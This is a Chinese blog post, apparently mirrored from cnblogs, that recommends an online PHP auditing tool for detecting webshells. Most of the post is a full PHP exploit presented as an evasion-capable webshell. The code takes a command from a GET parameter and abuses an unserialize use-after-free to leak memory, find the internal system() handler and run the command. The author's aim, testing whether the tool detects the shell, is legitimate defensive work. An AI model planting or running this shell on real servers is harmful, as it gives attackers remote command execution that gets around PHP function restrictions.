zoukankan      html  css  js  c++  java
  • [每日干货]:分享一个ctf及平时都可用到的一个在线php审计的工具

    每日干货:https://phpchip.com/
    CHIP 挖掘所有PHP动态特性
    个人感觉和seay审计差不多
    不过PHPchip也算是另一种方法
    图示
    当我上传一个PHP一句话马文件(免杀)的时候:
    先附上代码:

    <?php
    $cmd=$_GET["cmd"];
    pan($cmd);
    function pwn($cmd) {
        global $abc, $helper;
        function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
        function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
            }
            return $out;
        }
        function write(&$str, $p, $v, $n = 8) {
            $i = 0;
            for($i = 0; $i < $n; $i++) {
                $str[$p + $i] = chr($v & 0xff);
                $v >>= 8;
            }
        }
        function leak($addr, $p = 0, $s = 8) {
            global $abc, $helper;
            write($abc, 0x68, $addr + $p - 0x10);
            $leak = strlen($helper->a);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
            return $leak;
        }
        function parse_elf($base) {
            $e_type = leak($base, 0x10, 2);
            $e_phoff = leak($base, 0x20);
            $e_phentsize = leak($base, 0x36, 2);
            $e_phnum = leak($base, 0x38, 2);
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = leak($header, 0, 4);
                $p_flags = leak($header, 4, 4);
                $p_vaddr = leak($header, 0x10);
                $p_memsz = leak($header, 0x28);
                if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                    # handle pie
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                    $text_size = $p_memsz;
                }
            }
            if(!$data_addr || !$text_size || !$data_size)
                return false;
            return [$data_addr, $text_size, $data_size];
        }
        function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = leak($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $text_size) {
                    $deref = leak($leak);
                    # 'constant' constant check
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
                $leak = leak($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $text_size) {
                    $deref = leak($leak);
                    # 'bin2hex' constant check
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
                return $data_addr + $i * 8;
            }
        }
        function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = leak($addr, 0, 7);
                if($leak == 0x10102464c457f) { # ELF header
                    return $addr;
                }
            }
        }
        function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = leak($addr);
                $f_name = leak($f_entry, 0, 6);
                if($f_name == 0x6d6574737973) { # system
                    return leak($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
        class ryat {
            var $ryat;
            var $chtg;
    
            function __destruct()
            {
                $this->chtg = $this->ryat;
                $this->ryat = 1;
            }
        }
        class Helper {
            public $a, $b, $c, $d;
        }
        if(stristr(PHP_OS, 'WIN')) {
            die('This PoC is for *nix systems only.');
        }
        $n_alloc = 10; # increase this value if you get segfaults
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = str_repeat('A', 79);
        $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
        $out = unserialize($poc);
        gc_collect_cycles();
        $v = [];
        $v[0] = ptr2str(0, 79);
        unset($v);
        $abc = $out[2][0];
        $helper = new Helper;
        $helper->b = function ($x) { };
        if(strlen($abc) == 79 || strlen($abc) == 0) {
            die("UAF failed");
        }
        # leaks
        $closure_handlers = str2ptr($abc, 0);
        $php_heap = str2ptr($abc, 0x58);
        $abc_addr = $php_heap - 0xc8;
        # fake value
        write($abc, 0x60, 2);
        write($abc, 0x70, 6);
        # fake reference
    	write($abc, 0x10, $abc_addr + 0x60);
    	write($abc, 0x18, 0xa);
        $closure_obj = str2ptr($abc, 0x20);
        $binary_leak = leak($closure_handlers, 8);
        if(!($base = get_binary_base($binary_leak))) {
          ? die("Couldn't determine binary base address");
        }
        if(!($elf = parse_elf($base))) {
          ? die("Couldn't parse ELF header");
        }
        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
          ? die("Couldn't get basic_functions address");
        }
        if(!($zif_system = get_system($basic_funcs))) {
          ? die("Couldn't get zif_system address");
        }
        # fake closure object
        $fake_obj_offset = 0xd0;
        for($i = 0; $i < 0x110; $i += 8) {
          ? write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
        }
        # pwn
        write($abc, 0x20, $abc_addr + $fake_obj_offset);
        write($abc, 0xd0 + 0x38, 1, 4); # internal func type
        write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
        ($helper->b)($cmd);
        exit();
    }
    ?>
    

    在这里插入图片描述

    能识别成功这是php马

    然后我上传一个正常文件看他是否能识别
    在这里插入图片描述
    文件正常,返回为空

    设想:如果把这个phpchip整合到上传的时候检测的函数里面,是不是就能大大提升安全性呐?

    参考文章:https://www.leavesongs.com/

  • 相关阅读:
    CXF 与Spring整合配置
    CloudStack采用spring加载bean(cloud-framework-spring-module模块)
    CloudStack服务引擎配置(cloud-engine-service模块)
    Oracle用户、权限、角色管理
    合并日常使用指南
    oracle表空间建立与用户创建删除
    oracle 创建同义词
    Eclipse下svn的创建分支/合并/切换使用
    字符串转数字 简单代码实现
    Linux下调试段错误 (gdb,core,ulimit)
  • 原文地址:https://www.cnblogs.com/shadowwolf/p/12943799.html
Copyright © 2011-2022 走看看